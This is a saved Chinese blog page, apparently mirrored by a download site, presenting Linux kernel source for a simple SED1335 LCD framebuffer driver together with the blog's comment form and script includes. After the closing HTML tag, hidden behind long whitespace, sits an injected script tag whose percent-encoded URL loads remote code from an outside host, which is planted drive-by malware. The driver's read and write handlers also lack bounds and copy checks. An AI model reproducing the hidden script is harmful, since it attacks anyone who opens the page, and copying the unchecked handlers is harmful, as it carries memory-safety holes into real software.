⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 简单的framebuffer驱动--eric的资料.htm

📁 S3C44B0X下的LCD (framebuffer)驱动资料与相关代码
💻 HTM
📖 第 1 页 / 共 2 页
字号:
MWRITE 0x42<BR>#define MREAD 0x43<BR>#define MBAR2_ADDR 0x80000000<BR><BR>static 
char sysset[8] = { 0x30, 0x87, 0x07, 0x27, 0x42, 0xef, 0x28, 0x00 };<BR>static 
char scroll[10] =<BR>&nbsp;&nbsp;&nbsp; { 0x00, 0x00, 0xf0, 0x00, 0x40, 0xf0, 
0x00, 0x80, 0x00, 0x00 };<BR><BR>/* Frame buffer memory&nbsp; */<BR>unsigned 
char sed1335fb_buff[SED1335FB_BUFSIZE];<BR>unsigned char 
tmp_buff[SED1335FB_BUFSIZE];<BR><BR>/* Globals */<BR>struct fb_fix_screeninfo 
fix;<BR><BR>struct timer_list pio_timer;<BR><BR>void setbit(u8 n,u8 
v)<BR>{<BR>#ifdef DIRECT<BR><BR>if(v==0)<BR>*(volatile&nbsp; unsigned int&nbsp; 
*)(MBAR2_ADDR+0x04)&amp;=~(1&lt;&lt;n);<BR>else<BR>*(volatile&nbsp; unsigned 
int&nbsp; 
*)(MBAR2_ADDR+0x04)|=(1&lt;&lt;n);<BR>#else<BR>if(v==1)<BR>*(volatile&nbsp; 
unsigned int&nbsp; 
*)(MBAR2_ADDR+0x04)&amp;=~(1&lt;&lt;n);<BR>else<BR>*(volatile&nbsp; unsigned 
int&nbsp; *)(MBAR2_ADDR+0x04)|=(1&lt;&lt;n);<BR>#endif<BR>}<BR>void 
init_io()<BR>{<BR>&nbsp;&nbsp;&nbsp; u32 mask;<BR>&nbsp;&nbsp;&nbsp; u8 
i;<BR>&nbsp;&nbsp;&nbsp; /* Init I/O */<BR>&nbsp;&nbsp;&nbsp; 
mask=0;<BR>&nbsp;&nbsp;&nbsp; 
for(i=0;i&lt;8;i++)<BR>mask|=(1&lt;&lt;DATABUS[i]);<BR>&nbsp;&nbsp;&nbsp; 
mask|=(1&lt;&lt;LCD_A0);<BR>&nbsp;&nbsp;&nbsp; mask|=(1&lt;&lt;LCD_CS); 
<BR>&nbsp;&nbsp;&nbsp; mask|=(1&lt;&lt;LCD_RD);<BR>&nbsp;&nbsp;&nbsp; 
mask|=(1&lt;&lt;LCD_RST);<BR>&nbsp;&nbsp;&nbsp; 
mask|=(1&lt;&lt;LCD_WR);<BR>&nbsp;&nbsp;&nbsp; *(volatile u32 
*)(MBAR2_ADDR+0x0C)|=mask;<BR>&nbsp;&nbsp;&nbsp; *(volatile u32 
*)(MBAR2_ADDR+0x08)|=mask;<BR>&nbsp;&nbsp;&nbsp; #ifdef 
DIRECT<BR>&nbsp;&nbsp;&nbsp; *(volatile u32 
*)(MBAR2_ADDR+0x04)|=mask;<BR>&nbsp;&nbsp;&nbsp; #else<BR>&nbsp;&nbsp;&nbsp; 
*(volatile u32 *)(MBAR2_ADDR+0x04)&amp;=~mask;<BR>&nbsp;&nbsp;&nbsp; 
#endif<BR>&nbsp;&nbsp; <BR>}<BR><BR>void write_data(unsigned char 
data)<BR>{<BR>&nbsp;&nbsp;&nbsp; unsigned int i,temp;<BR>&nbsp;&nbsp;&nbsp; 
temp=*(volatile&nbsp; unsigned int&nbsp; 
*)(MBAR2_ADDR+0x04);<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 
for(i=0;i&lt;8;i++)<BR>&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp; #ifdef 
DIRECT<BR>&nbsp;&nbsp;&nbsp; if((data&gt;&gt;i)&amp;0x01)<BR>&nbsp;&nbsp;&nbsp; 
#else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
if(!((data&gt;&gt;i)&amp;0x01))<BR>&nbsp;&nbsp;&nbsp; #endif<BR>temp |= 
(1&lt;&lt;DATABUS[i]);<BR>else<BR>temp &amp;= 
~(1&lt;&lt;DATABUS[i]);<BR>&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; 
*(volatile&nbsp; unsigned int&nbsp; 
*)(MBAR2_ADDR+0x04)=temp;<BR><BR>&nbsp;&nbsp;&nbsp; 
setbit(LCD_A0,0);<BR>&nbsp;&nbsp;&nbsp; setbit(LCD_WR,0);<BR>&nbsp;&nbsp;&nbsp; 
setbit(LCD_WR,1);<BR><BR>}<BR><BR>/* Do command write */<BR>void 
write_cmd(unsigned char data)<BR>{<BR>&nbsp;&nbsp;&nbsp; unsigned int 
i,temp;<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; temp=*(volatile&nbsp; 
unsigned int&nbsp; *)(MBAR2_ADDR+0x04);<BR>&nbsp;&nbsp;&nbsp; 
<BR>&nbsp;&nbsp;&nbsp; for(i=0;i&lt;8;i++)<BR>&nbsp;&nbsp;&nbsp; 
{<BR>&nbsp;&nbsp;&nbsp; #ifdef DIRECT<BR>&nbsp;&nbsp;&nbsp; 
if((data&gt;&gt;i)&amp;0x01)<BR>&nbsp;&nbsp;&nbsp; 
#else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
if(!((data&gt;&gt;i)&amp;0x01))<BR>&nbsp;&nbsp;&nbsp; #endif<BR>temp |= 
(1&lt;&lt;DATABUS[i]);<BR>else<BR>temp &amp;= 
~(1&lt;&lt;DATABUS[i]);<BR>&nbsp;&nbsp;&nbsp; }<BR><BR>&nbsp;&nbsp;&nbsp; 
*(volatile&nbsp; unsigned int&nbsp; *)(MBAR2_ADDR+0x04)=temp;&nbsp;&nbsp; 
<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 
setbit(LCD_A0,1);<BR>&nbsp;&nbsp;&nbsp; setbit(LCD_WR,0);<BR>&nbsp;&nbsp;&nbsp; 
setbit(LCD_WR,1);<BR><BR>}<BR>/*****************************************************************************/<BR>/* 
Use PIO to copy frame buffer contents to LCD 
controller&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
*/<BR>/*****************************************************************************/<BR>void 
sed1335fb_pio_copy(unsigned long sed1335_pio)<BR>{<BR>&nbsp;&nbsp;&nbsp; 
unsigned short i;<BR><BR>&nbsp;&nbsp;&nbsp; /* Re-init refresh timer 
*/<BR>&nbsp;&nbsp;&nbsp; del_timer(&amp;pio_timer);<BR>&nbsp;&nbsp;&nbsp; 
pio_timer.expires = jiffies + PIO_REFRESH_TIMER_TICKS;<BR>&nbsp;&nbsp;&nbsp; 
add_timer(&amp;pio_timer);<BR><BR>&nbsp;&nbsp;&nbsp; /* Set cursor shift 
direction to right */<BR>&nbsp;&nbsp;&nbsp; 
write_cmd(CSRDIRR);<BR><BR>&nbsp;&nbsp;&nbsp; /* Set cursor to start of the 
screen */<BR>&nbsp;&nbsp;&nbsp; write_cmd(CSRW);<BR><BR>&nbsp;&nbsp;&nbsp; /* 
Prepare LCD controller to do auto mode write */<BR>&nbsp;&nbsp;&nbsp; 
write_data(0x00);<BR>&nbsp;&nbsp;&nbsp; 
write_data(0x00);<BR><BR>&nbsp;&nbsp;&nbsp; /* begin write data 
*/<BR>&nbsp;&nbsp;&nbsp; write_cmd(MWRITE);<BR><BR>&nbsp;&nbsp;&nbsp; for (i = 
0; i &lt; SED1335FB_BUFSIZE; i++) {<BR><BR>if (tmp_buff[i] != sed1335fb_buff[i]) 
{<BR>write_cmd(CSRW);<BR>write_data(((char*)&amp;i)[1]);<BR>write_data(((char*)&amp;i)[0]);<BR>write_cmd(MWRITE); 
<BR>tmp_buff[i] = 
sed1335fb_buff[i];<BR>write_data(sed1335fb_buff[i]);<BR>}<BR>&nbsp;&nbsp;&nbsp; 
}<BR>}<BR><BR>/*****************************************************************************/<BR><BR>static 
ssize_t<BR>sed1335fb_read(struct file *filp,char 
*buf,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; size_t count,loff_t 
*ppos)<BR>{<BR>&nbsp;&nbsp;&nbsp; ssize_t copy_size;<BR>&nbsp;&nbsp;&nbsp; char 
*base_addr;<BR><BR>&nbsp;&nbsp;&nbsp; if (count &lt; 0)<BR>return 
-EINVAL;<BR><BR>&nbsp;&nbsp;&nbsp; base_addr = (char *) 
fix.smem_start;<BR>&nbsp;&nbsp;&nbsp; copy_size = (count + *ppos &lt;= 
fix.smem_len ? count : fix.smem_len - *ppos);<BR>&nbsp;&nbsp;&nbsp; 
copy_to_user(buf, base_addr + *ppos, copy_size);<BR><BR>&nbsp;&nbsp;&nbsp; 
return copy_size;<BR>}<BR><BR>static ssize_t<BR>sed1335fb_write(struct file 
*flip,const char *buf,<BR>size_t count,loff_t *ppos)<BR>{<BR>&nbsp;&nbsp;&nbsp; 
int copy_size;<BR>&nbsp;&nbsp;&nbsp; char *base_addr;<BR><BR>&nbsp;&nbsp;&nbsp; 
if (count &lt; 0)<BR>return -EINVAL;<BR>&nbsp;&nbsp;&nbsp; base_addr = (char *) 
fix.smem_start;<BR>&nbsp;&nbsp;&nbsp; copy_size = (count + *ppos &lt;= 
fix.smem_len ? count : fix.smem_len - *ppos);<BR>&nbsp; <BR>&nbsp;&nbsp;&nbsp; 
copy_from_user(base_addr + *ppos, buf, copy_size);<BR>&nbsp; 
<BR>&nbsp;&nbsp;&nbsp; return copy_size;<BR>}<BR><BR>//#define&nbsp; 
FILE_OP_DEBUG<BR><BR>static int<BR>sed1335fb_mmap(struct file *file, struct 
vm_area_struct *vma)<BR>{<BR>#ifdef&nbsp; FILE_OP_DEBUG<BR>&nbsp;&nbsp;&nbsp; 
printk("%s(%d): %s()\n", __FILE__, __LINE__, 
__FUNCTION__);<BR>#endif<BR>&nbsp;&nbsp;&nbsp; vma-&gt;vm_start = fix.smem_start 
+ vma-&gt;vm_offset;<BR><BR>&nbsp;&nbsp;&nbsp; return 0;<BR>}<BR><BR>int 
sed1335fb_open(struct inode *inode, struct file *filp)<BR>{<BR>#ifdef&nbsp; 
FILE_OP_DEBUG<BR>&nbsp;&nbsp;&nbsp; printk("%s(%d): %s()\n", __FILE__, __LINE__, 
__FUNCTION__);<BR>#endif<BR>&nbsp;&nbsp;&nbsp; return 
(0);<BR>}<BR><BR>/*****************************************************************************/<BR><BR>int 
sed1335fb_release(struct inode *inode, struct file *filp)<BR>{<BR>#ifdef 
FILE_OP_DEBUG<BR>&nbsp;&nbsp;&nbsp; printk("%s(%d): %s()\n", __FILE__, __LINE__, 
__FUNCTION__);<BR>#endif<BR>&nbsp;&nbsp;&nbsp; return 
(0);<BR>}<BR><BR>/*****************************************************************************/<BR><BR><BR>int<BR>sed1335fb_ioctl(struct 
inode *inode, struct file *filp, unsigned int cmd,<BR>unsigned long 
arg)<BR>{<BR>&nbsp;&nbsp;&nbsp; struct fb_var_screeninfo 
var;<BR>&nbsp;&nbsp;&nbsp; int rc = 0;<BR>&nbsp;&nbsp;&nbsp; int 
i;<BR><BR>#ifdef FILE_OP_DEBUG<BR>&nbsp;&nbsp;&nbsp; printk("%s(%d): 
sed1335fb_ioctl()\n", __FILE__, __LINE__);<BR>#endif<BR><BR>&nbsp;&nbsp;&nbsp; 
switch (cmd) {<BR>&nbsp;&nbsp;&nbsp; case FBIOGET_VSCREENINFO:<BR>i = 
verify_area(VERIFY_WRITE, (void *) arg,<BR>sizeof(struct 
fb_var_screeninfo));<BR>var.xres = LCD_XRES; /* visible 
resolution&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
*/<BR>var.yres = LCD_YRES;<BR>var.xres_virtual = LCD_XRES; /* virtual 
resolution&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
*/<BR>var.yres_virtual = LCD_YRES;<BR>var.xoffset = 0; /* offset from virtual to 
visible */<BR>var.yoffset = 0; /* 
resolution&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
*/<BR>var.bits_per_pixel = LCD_BPP; /* guess 
what&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
*/<BR>var.grayscale = 1; /* != 0 Graylevels instead of colors 
*/<BR>//memcpy_tofs((void *) arg, &amp;var, sizeof(var));<BR>copy_to_user((void 
*) arg, &amp;var, sizeof(var));<BR>break;<BR>&nbsp;&nbsp;&nbsp; case 
FBIOGET_FSCREENINFO:<BR>i = verify_area(VERIFY_WRITE, (void *) 
arg,<BR>sizeof(struct fb_fix_screeninfo));<BR>if (i)<BR>&nbsp;&nbsp;&nbsp; 
return i;<BR>//memcpy_tofs((void *) arg, &amp;fix, 
sizeof(fix));<BR>copy_to_user((void *) arg, &amp;fix, sizeof(fix));<BR>return 
i;<BR>&nbsp;&nbsp;&nbsp; default:<BR>rc = 
-EINVAL;<BR>break;<BR>&nbsp;&nbsp;&nbsp; }<BR><BR>&nbsp;&nbsp;&nbsp; return 
(rc);<BR>}<BR><BR>/*<BR>* Exported file operations structure for 
driver...<BR>*/<BR><BR>struct file_operations sed1335fb_fops = 
{<BR>&nbsp;&nbsp;&nbsp; read:sed1335fb_read,<BR>&nbsp;&nbsp;&nbsp; 
write:sed1335fb_write,<BR>&nbsp;&nbsp;&nbsp; 
ioctl:sed1335fb_ioctl,<BR>&nbsp;&nbsp;&nbsp; 
mmap:sed1335fb_mmap,<BR>&nbsp;&nbsp;&nbsp; 
open:sed1335fb_open,<BR>&nbsp;&nbsp;&nbsp; 
release:sed1335fb_release,<BR>};<BR><BR>/* * Setup LCD module parameters 
*/<BR><BR>int lcd_init(void)<BR>{<BR>&nbsp;&nbsp;&nbsp; int i = 
0;<BR>&nbsp;&nbsp;&nbsp; for(i=0;i&lt;100000;i++);<BR>&nbsp;&nbsp;&nbsp; 
write_cmd(SYSSET);<BR>&nbsp;&nbsp;&nbsp; for (i = 0; i &lt; 8; 
i++)<BR>write_data(sysset[i]);<BR>&nbsp;&nbsp;&nbsp; 
write_cmd(SCROLL);<BR>&nbsp;&nbsp;&nbsp; for (i = 0; i &lt; 10; 
i++)<BR>write_data(scroll[i]);<BR>&nbsp;&nbsp;&nbsp; 
write_cmd(HDOTSCR);<BR>&nbsp;&nbsp;&nbsp; 
write_data(0x00);<BR>&nbsp;&nbsp;&nbsp; write_cmd(OVLAY);<BR>&nbsp;&nbsp;&nbsp; 
write_data(0x0C);<BR>&nbsp;&nbsp;&nbsp; 
write_cmd(DISPON);<BR><BR>&nbsp;&nbsp;&nbsp; 
write_data(0x54);<BR>&nbsp;&nbsp;&nbsp; 
write_cmd(CSRDIRR);<BR>&nbsp;&nbsp;&nbsp; write_cmd(CSRW);<BR>&nbsp;&nbsp;&nbsp; 
write_data(0x00);<BR>&nbsp;&nbsp;&nbsp; write_data(0x00);<BR>&nbsp;&nbsp;&nbsp; 
write_cmd(MWRITE);<BR>&nbsp;&nbsp;&nbsp; for (i = 0; i &lt; SED1335FB_BUFSIZE; 
i++)<BR>write_data(0x00);<BR><BR>&nbsp;&nbsp;&nbsp; 
write_cmd(CSRW);<BR>&nbsp;&nbsp;&nbsp; write_data(0x00);<BR>&nbsp;&nbsp;&nbsp; 
write_data(0x00);<BR>&nbsp;&nbsp;&nbsp; 
write_cmd(CSRFORM);<BR>&nbsp;&nbsp;&nbsp; 
write_data(0x07);<BR>&nbsp;&nbsp;&nbsp; write_data(0x07);<BR>&nbsp;&nbsp;&nbsp; 
write_cmd(DISPON);<BR>&nbsp;&nbsp;&nbsp; write_data(0x04);<BR>&nbsp;&nbsp;&nbsp; 
return (0);<BR>}<BR><BR>void sed1335fb_init(void)<BR>{<BR>&nbsp;&nbsp;&nbsp; int 
result;<BR>&nbsp;&nbsp;&nbsp; init_io();<BR>&nbsp;&nbsp;&nbsp; /* Set 
CS*/<BR>&nbsp;&nbsp;&nbsp; setbit(LCD_CS,0);<BR>&nbsp;&nbsp;&nbsp; /* Reset 
Sed1335 */<BR>&nbsp;&nbsp;&nbsp; setbit(LCD_RST,0);<BR>&nbsp;&nbsp;&nbsp; 
mdelay(5);<BR>&nbsp;&nbsp;&nbsp; setbit(LCD_RST,1);<BR>&nbsp;&nbsp;&nbsp; /* Do 
LCD init */<BR>&nbsp;&nbsp;&nbsp; if (lcd_init()) 
{<BR>printk(/*KERN_WARNING*/<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "sed1335fb: 
can't init LCD controller, exiting\n");<BR>return;<BR>&nbsp;&nbsp;&nbsp; 
}<BR><BR><BR>&nbsp;&nbsp;&nbsp; fix.smem_start = (unsigned long) 
sed1335fb_buff;<BR>&nbsp;&nbsp;&nbsp; fix.smem_len = SED1335FB_BUFSIZE; /* 
Length of frame buffer mem */<BR>&nbsp;&nbsp;&nbsp; fix.type = 
FB_TYPE_PACKED_PIXELS; /* see 
FB_TYPE_*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
*/<BR>&nbsp;&nbsp;&nbsp; fix.type_aux = 0; /* Interleave for interleaved Planes 
*/<BR>&nbsp;&nbsp;&nbsp; fix.visual = FB_VISUAL_MONO01; /* see 
FB_VISUAL_*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
*/<BR>&nbsp;&nbsp;&nbsp; fix.xpanstep = 0; /* zero if no hardware panning&nbsp; 
*/<BR>&nbsp;&nbsp;&nbsp; fix.ypanstep = 0; /* zero if no hardware panning&nbsp; 
*/<BR>&nbsp;&nbsp;&nbsp; fix.ywrapstep = 0; /* zero if no hardware 
ywrap&nbsp;&nbsp;&nbsp; */<BR>&nbsp;&nbsp;&nbsp; fix.line_length = LCD_XRES / (8 
* LCD_BPP); /* length of a line in bytes&nbsp;&nbsp;&nbsp; */<BR>&nbsp; 
<BR>&nbsp;&nbsp;&nbsp; /* Register character device */<BR>&nbsp;&nbsp;&nbsp; 
result = register_chrdev(SED1335FB_MAJOR, "fb", 
&amp;sed1335fb_fops);<BR>&nbsp;&nbsp;&nbsp; if (result &lt; 0) 
{<BR>printk(KERN_WARNING "sed1335fb: can't get major 
%d\n",<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
SED1335FB_MAJOR);<BR>return;<BR>&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp; 
//printk("sed1335fb: using PIO mode\n");<BR>&nbsp;&nbsp;&nbsp; /* Set up PIO 
timer */<BR>&nbsp;&nbsp;&nbsp; for (result=0;result &lt; 
SED1335FB_BUFSIZE;result++)<BR>&nbsp;&nbsp;&nbsp; tmp_buff[result] = 0; 
//sed1335fb_buff[result] + 1;<BR>&nbsp;&nbsp;&nbsp; pio_timer.function = 
sed1335fb_pio_copy;<BR>&nbsp;&nbsp;&nbsp; pio_timer.expires = jiffies + 
PIO_REFRESH_TIMER_TICKS;<BR>&nbsp;&nbsp;&nbsp; 
add_timer(&amp;pio_timer);<BR>&nbsp;&nbsp;&nbsp; printk("******sed1335fb_init() 
finished8*****\n");<BR>}<BR>module_init(sed1335fb_init);<BR>//MODULE_LICENSE("GPL");<BR>/*****************************************************************************/<BR></DIV><BR>
<DIV class=postFoot><A 
href="http://www.mcublog.com/blog/user1/4464/archives/2005/4763.html#">阅读全文<SPAN 
id=ob_logreaded></SPAN></A> | <A 
href="http://www.mcublog.com/blog/user1/4464/archives/2005/4763.html#cmt">回复(0)</A> 
| <A href="http://www.mcublog.com/blog/showtb.asp?id=4763" 
target=_blank>引用通告<SPAN id=ob_tbnum></SPAN></A> | <A 
href="http://www.mcublog.com/blog/user_post.asp?logid=4763" 
target=_blank>编辑</A></DIV></DIV><BR>
<DIV id=blogzhai></DIV>
<DIV id=morelog>
<UL>
  <LI>上一篇:<A 
  href="http://www.mcublog.com/blog/user1/4464/archives/2005/4762.html">扫描键盘在MCF5249下的驱动</A>
  <LI>下一篇:<A 
  href="http://www.mcublog.com/blog/user1/4464/archives/2005/4764.html">我做的2410接口板(第一版)</A></LI></UL></DIV>
<SCRIPT src=""></SCRIPT>
<A name=cmt></A>
<H2>发表评论:</H2>
<DIV id=form_comment>
<FORM id=commentform name=commentform onsubmit="return Verifycomment()" 
action=/blog/savecomment.asp?logid=4763 method=post>
<UL>大名:<INPUT id=UserName maxLength=20 size=15 name=UserName></UL>
<UL>密码:<INPUT id=Password type=password maxLength=20 size=15 name=Password> 
  (游客无须输入密码)</UL>
<UL>主页:<INPUT id=homepage maxLength=50 size=42 value=http:// name=homepage></UL>
<UL>标题:<INPUT id=commenttopic maxLength=50 size=42 value=Re:简单的Framebuffer驱动 
  name=commenttopic></UL>
<UL><INPUT id=edit type=hidden name=edit> 
  <DIV id=oblog_edit>MCU博客数据载入中, 请稍候...</DIV></UL>
<UL><SPAN 
id=ob_code></SPAN><INPUT type=submit value=" 提交 "></UL></FORM></DIV></DIV>
<SCRIPT src=""></SCRIPT>

<DIV id=powered><A href="http://www.oblog.cn/" target=_blank><IMG 
alt="Powered by Oblog." src="简单的Framebuffer驱动--Eric的资料.files/oblog_powered.gif" 
border=0></A></DIV>
<SCRIPT src="简单的Framebuffer驱动--Eric的资料.files/show_subject.htm"></SCRIPT>

<SCRIPT src="简单的Framebuffer驱动--Eric的资料.files/show_placard.htm"></SCRIPT>

<SCRIPT src="简单的Framebuffer驱动--Eric的资料.files/200512.htm"></SCRIPT>

<SCRIPT src="简单的Framebuffer驱动--Eric的资料.files/show_search.htm"></SCRIPT>

<SCRIPT src="简单的Framebuffer驱动--Eric的资料.files/show_newblog.htm"></SCRIPT>

<SCRIPT src="简单的Framebuffer驱动--Eric的资料.files/show_comment.htm"></SCRIPT>

<SCRIPT src=""></SCRIPT>

<SCRIPT src=""></SCRIPT>

<SCRIPT src="简单的Framebuffer驱动--Eric的资料.files/show_newmessage.htm"></SCRIPT>

<SCRIPT src="简单的Framebuffer驱动--Eric的资料.files/show_info.htm"></SCRIPT>

<SCRIPT src="简单的Framebuffer驱动--Eric的资料.files/show_links.htm"></SCRIPT>

<SCRIPT src="简单的Framebuffer驱动--Eric的资料.files/show_blogname.htm"></SCRIPT>

<SCRIPT src="简单的Framebuffer驱动--Eric的资料.files/count.htm"></SCRIPT>

<SCRIPT src="简单的Framebuffer驱动--Eric的资料.files/commentedit.htm"></SCRIPT>

<SCRIPT src="简单的Framebuffer驱动--Eric的资料.files/inc_zhai.js"></SCRIPT>

<SCRIPT 
src="C:\Documents and Settings\Administrator\桌面\wangluo\简单的Framebuffer驱动--Eric的资料.files\count(1).htm"></SCRIPT>

<SCRIPT 
src="C:\Documents and Settings\Administrator\桌面\wangluo\简单的Framebuffer驱动--Eric的资料.files\count(2).htm"></SCRIPT>

<SCRIPT src="简单的Framebuffer驱动--Eric的资料.files/login.htm"></SCRIPT>

<SCRIPT language=javascript>if (chkdiv('txml')) {document.getElementById('txml').innerHTML='<a href="http://feed.feedsky.com/mcublog.com/user1/4464" target="_blank"><img src="/blog/\'http://www.feedsky.com/images/icon_sub_c1s5.gif"\'/></a>';}</SCRIPT>
</BODY></HTML>
                                                                                              
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -